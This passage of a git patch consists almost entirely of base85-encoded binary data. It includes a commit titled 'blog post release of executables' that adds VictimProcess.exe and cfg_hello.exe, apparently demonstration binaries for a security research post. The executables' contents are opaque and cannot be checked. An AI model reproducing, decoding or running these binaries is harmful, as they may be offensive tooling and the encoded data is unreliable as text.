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 n8w)-qRhFvqs*0*%SnsiA3Nx+!nJ z^Ca00q3zD@&g@K=>pA!5{M~cUJ@?%El(gQxm*q0X)Bss#>*u@+Sxd$j5PO9YY#=^@%0D|QMiUEs?15;O}+1L{l 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 bc9X+INt*t(lIhpzb?ARuKJ~yK^1y!r Date: Thu, 29 Sep 2022 23:29:56 +0200 Subject: [PATCH 5/7] blog post release of executables --- executables/HelloWorld.exe | Bin 41472 -> 69120 bytes executables/VictimProcess.exe | Bin 0 -> 6656 bytes executables/cfg_hello.exe | Bin 0 -> 9216 bytes 3 files changed, 0 insertions(+), 0 deletions(-) create mode 100644 executables/VictimProcess.exe create mode 100644 executables/cfg_hello.exe diff --git a/executables/HelloWorld.exe b/executables/HelloWorld.exe index fd9989064f2967a12d628c48a22c1c8b93b24f96..9874369544179d45b0a659c784be05e7afc4576a 100644 GIT binary patch literal 69120 zcmeEve|%KMx%b&$$tKxw7D*sTlqjK6BQ|!SB`(novPnb&8)G&^Ou#GTrdw1R&f!NT zka)6~ljBxzuk`AD^;Q~fwc3`}AD~6tB{T_&7=BzEg=$o)6E@XYFxd#^yx(WeZV2k_ z`~LHO-uuTz_sq;Qzn*#KnP+C6d1g{}>x15#msAN>K@fCZ5O%|*e;)q*$Dck#PniDl z1mXFVH!j<4TKvXkx77b&UC!EuyZ^c2_B(U#xc#oX?v`@?X?0G6d{@p7?#fxXv?Axu zyH~BgIz2r#H(vBC*Ta2lZXS9r@w;7^@|=wD?ZUU8yMw!vpG$@N``;8k_XD18__-Xo zZy%iW++93=_H%dg@GS1${DV8{sjLL%KCd7wHra&k2lDPn!1@HUDb3^%gvSACHK4Pc zaOt;`!XCqK7K9`U;$OlQd?tYt3ox_bY32zjA7$q5m_tBe|DYhuCr`df=tI`8{qvZF zjX=fodqJ4@waD`T=ik24Cp!h<-1+FQ`L32$Zt6Cy)D=BM2+6Zdi4@ zbh{vIEJg&%6iV@X0>5$pJgE9=Bbgw4ha%9Bi{K29|NK9XAcU`OSl2*==50lrK_o#K zJ)eer9xAV4^_shpklHSQ2Eqi2fjjP>M-Uc_3;vJy{{aO8LjAyi$M^&UJ@d>?kKhXL za|-TsK`0Vr^XZQMz33LU10CK^2m~_f2mj^~*n%uT8!`kz+%*_5vpI;b-d%R9Ak-Du zsE;M9>v+_)V?MmikSZR5hN2vODGjC76|`mnBLBs8T-hzbH(`BB!NUw5aeIeabCR7- z5rkk^wg0lz_g%Ib3h`wLIH$sU--FouL`J=2ahw4b}WNMPMa z)E;)i_e1bmFpN}o)`z01nF@yEfE4y70RkpwN`@N@OUXXAho>2yEC_xdNJQwf!=t*c z4XW~q;Bh(0&*r0E_A1gvuhz;2G?ON%-oA1ldk5{SuI|uQGfnP8YNhd{K8uIq zyS(R6lCE{Kg;NBfqf#4C3YTRU2`1UbjsYuOwzF@Gf=~}}EU;|Cq`HQZ>6s3+EMRIs zISDO#5%i~|^MRyNNFbyG#Z2r`#8lU(ScNc4MWm6rc_7z<&YQv(K1L0fYyori8{cm4 zo>(NP>HF!M8K&7A$G7hO%s%dvSq<SpvP~4MX^lDd_ zy1~zW4m7mE;E>qj1*)3=Htn@4ta^CEEq1%h9Y;Wt;!jT<{Y}Uv0}O+0j+JN&&2Y8$Qhihz`psfHfl+m75FxB>`w5 zz^dkge@y^_1gK~(2qggb5@11d!2<~Z6&byzx!|V>KpO#anhRbq$7?}eAu2W(JWqgR zR135Oef_F{T|ZK-Zdnyg(SKy6_ENBRB^tUsYIcQJ)Yfza?Dfu1KH^wkB{6rN52k5+sn$9?PUUA!oED^}z#D77!j3BPLmF9@%Lt5~SpEHbP@8 zKB!q0Fb+6a9c2RyJuGNj)&zBFMiuLs3ZT1iz>Itu&H5m@4&{15POf6N(wI#Yaw&58 z*$yg~<$xOCMGyqoY$8wx`5o*|?)Ni@IL?d!I++!mS*>-}cKECG%nV2ieXbqDLW{Bc zAX&7*>fn%EQon~Jfr)KI2><~mx%@^#wiU?$2}@Z4pfD3h)BcOHH&=}*iF0R+!1exs#f?P)l9Lz}x)W&ld7HaVtnhtglG2z$OuVMERT8SK> zzrapTgnR`82Jz-opLC!Y7x%DV0|)jAillgr1Ihk zRLy>ti}@)Vqov-84|@aU5)I@V>f2@@{7;DPvgQhu;2iK_>ybbyWSEnYPMTIvK9&^pcPT$VBb>6=mG-sOj)if*h2k4f@$_DBsUobLd;c{XgR0chTW~w*Fg` zC#$x9H3*EdNQ(Nw1FqwFol4jeVdetaQ8i5;{_~93dZ(6zwwd)FrPF$Y`@M$26}8Jb z20TYN3ZW}IwFwyeX8kbIxMfGf0GC#*8MT3-?CgV!xF@@QC5-`^y8*m|Vu_p4ZcNT5 zvE=~T(q(gI7!zEZ*ZB(v{7R!k5QC2*PMb)Y>Pgb9Yl?GY`~5m;5&(Dk-{JZEw0gx2dftH+O4mQ7+&!Q&ZLId9BrRl!ym~ z@1We#&XD(hpPsoGc-AS6dj+xOI~X~dHw<)Ja>;84EtRkpl(s}b&fP{$n{9;QN!L)Z zD)$tm6Aq0z0Z$eCJGCc)z8HK6^wW4Wb;((^@mOGVx#sQFD*N0cV(3p4{as~LmzKLv zOI2;cQzohWDZ4zuuV*dj(gbmDvDMK8Wc%+&qRwJ# zb5NIUfuUv5)KG~&+&e9-gg-}bc+hgydy?epVl=-LAR-35g{V@UFq4+jO3W(~da;oj3Diq>c+g`gFiErSR+l+T`U}wxFd+l!Ahg)VH1IUo z^DXdpH8FR2xl(urc?2x$izW#|g}FN;T({{TaG&1?`= zYq4r9Hol$68M6M|SLJ6pl-Wy}OVz?bNTc=vd|ctE1w#V@Z)~BQQK8jjk>smVW(ZoN zvr7QRvv8 zohH5*_OVGAhBSjX#zhymd8f66rKwt(9i#U5^K&HY{1o|VWKZra(S@jKiLyFNXu1vq z>@}d!mK0B6DUP1z(B}!UN=NVr5WALhsYCN-=z{CW0@s14xwxq5y4$1?Len*b1>1C` zF$>GBP_e0L-sQ4Y8;qvA!mc9)-Yhgg^=2LJkEY#-+O3_*x0L|T1M+8WNkFiupe#$a zqw;z4Q=~bl?MiVkn&g>5P12=FL>S)QV%@^sXfi++gmg=B|J~>+qfh~b_RmHTID_IS z$f8^h$^zq>j`N%{1;Wg)&80nSl}pEJZ3+pmpP{Yu3nf#DpSe+SakXWTkdvdK5>vqH zW52~jhv}g(hF--ytV^#MMO1)N(sh28giKA>6;_9qnWW1DrV55RM^Kabvc==C@Ui^Us2nk&!uYF-!TA`ndB9K za`dDt?4y6|O00Sh1}rQG0vO9Flaz_TBnqIm=}O@&3<8rpxt_FH>>7NGrOFjlJReBl z5Lejk_){s?KvJqliA`zvj8+Mn^-qfd;*)jr04=q5kkEJiN%fxNEbM1{iQY6K#FkBn zuRzU@z$G-q77;!GS_uGD(&MOzEkmffd6e)GTZ#}{&;E$HFT(;~K9FU*Rn)ZyvS?5*!=T=K7Oh0d)9SPLcmzLBz#5Fql$Gi+fG+{)0ao+Z&oux~ z0T8g%FGjwQ!#e1&3pKgZ^^1gO`#)rR=0qZb3qh;azz3!p?)PH#wLP2kUClwIAh3C+T2Pv(k!#kbzFPB&APO;CEbo$x~?F5 zsgzRGJaPstZuqz&6tn``T65MH3R1j}{jVI5GZDh1bPEWvTq`@b!u3Wi`_P+McGkj@R01#BIy%L1R>Jr zOzT#$R4EdM535`$v7(mbtG{Y*-`_mKtMox@&aXP%!wsKd7$KffJbk_?o~9IRx#|gz z7zD2_$$o9P4hui0(rK8F`y@m-(>#fGh z@=6+_*i~R=N~8j}rc|&ikOWIC)V79d>xibry{_=`+72sml@wt{p2xO4ntlE>lSy5yO|c5qYsa;~14g>iW=@;LxU-JC0G#A)|4s zd`?RDhsw^CV~-H~v1}?&zx;f~<@t_kN^w2m^`@;y-4-$L~d&gdC(4*s0)nCOy zkBK;)OgTl4tjPx=wS}pIUe*Z2kjmY+QUK5j|Uy(pgrS3CpaiP9yGu~ z`^SUquTq1$$Ahvt=-_zJRUFha9^~O5V!#A(+ItbG_Yph+s$a`fofwyDMSCAYwY2gi zF3*&}gPgH>X!8Z3CWJ6_S`t9oE>e1)bS;PavHB?B>sKsa?icGSgjM=nh;cz%nCn#6p$ueURqOCqb$WF{yT=|{=X4cP$z5KW#RM%`iH%C>+ET0K zkjs(J%pYTtDzR%z9Y*-?A0h0u4|%M0V(?95P`ym^I#usL$jj6l&S^I|fDOtJTmFXF zkku3NShdCXSwq(Qv@F#-2;IRw+FR^H%u>HMwU+6am0PzU<(7IB8`n$EQVJKN{{(4z zJ-N(^b)d4}3Xwg5D?%XX09N*6gJ##t9IO+CVOg$K#tM86$yrbB@oU|z%YduP97eO` zXkA+w_9-!~LpeJt25Ye*LZ_8PFGK5rgAmP9?s1Gt-;0;<`pcNbb=E}1e1$Hj{t7x& zCFt^9_6~);XX4w3G4gc~cpUkjqj1@v_Lg>|oee>Oc2JpFN=+rD;p3lRV;_TxfVrYb z=Glk_PbQ^_-V;rRXr^P7gr=c98+q$DUrBN{2Ta<28fb?Q>c%+{BFtR~+gQ=DhYois~bj*WOl&w~iG_gX@EJb_;n+2}GLbqD! zvN!8ZrXpc;?{WnT=?TgfE0pv4_l$%}r@eWUM}L6n8;uE5WAaGfQAqj=LC#{<&#~FP zl-&x)Sk{&iKGirZa2+qm{*theZwq9xxu~+5R$a2lmSG#$C1A}>8?*(1R5leoQjM)< zB12XM-?{tQlo75sQRnc2qRD=CCpA4muoPZ|hy4Y|E*&VxO_7Plzq%6C;|-b|5Y+3G zt}I@t{yi3n@lww>?``Pkp~D2F!LRz9KM~e?=A&Fr(D-V!3({=J4v3Mt)NnoXam1km zviyvWX|zE@7wuyYB2=v=p$n+ns$4_J!slXkW*XAPXvwO}GYf1xFDVk%UxGt6>~)(v z8J6DF?ztRjQ4Z-?n96_By6DgVtqg%sx+0ut;_$Q{1Ek!L_MP4~0d7vL-&IC9GN{-M2t34@|6W%hcphMXHZz8mm7A&Eo=pXuTjZkQ8djUf#SV)&eG!9NKkgkWo&uvgM2bnYHEI zI8dkaCi#eV@1rQgM!N#ipci3y#;L?LpjFzo7OEpG)fEmpP$~|SXwWSy$dYf-wlx`X zQxKZuW7A0%yh!QUA(H0RTJdJ2jmMhK$3BbRgVuZfMm7NUk7s!wUS!$E+Z2`-qD+sr z?S7OtdlVlZ3nPKHjTBz5HsO=kXtX)cQ057;h&?#!>*U?OXd?uF z5)YWPwkAZ63oqI{F3`qFG?p0Mz6jmEDbei(ypO5SWMvcY_Dx2&8=wg9_BLvLb0psH z*DN8iybp(Jj`}_lOApbYUVTzvuah_)goY8FA6&9lx?I_^Mv$@@7t?FkKmyqVIcyK+ zK%677UmzPDnfwfF&z0Fw9^=F%RJ_K=E<=UrUz~`aOh_E;288GyO+JY%Z(!*1{X33E zF{&jus0hN&@oV|+VQE&CI*;{0FwyDLG(USD%mf)*jf1sOelP}MR?KPNRm%?u&nrnT z3Vg}_lO#fy?F{A-NKOb!V;=Ynx`NJP2M8_KRk6O4XlhK|V%MtHsFSs&_39FQ7 z>M=!AH50NHSt-7=mJW>#DLMNIASiuHVOHs4g{4aqN?{HWuIbnj+egc?9cK(@&~OI0 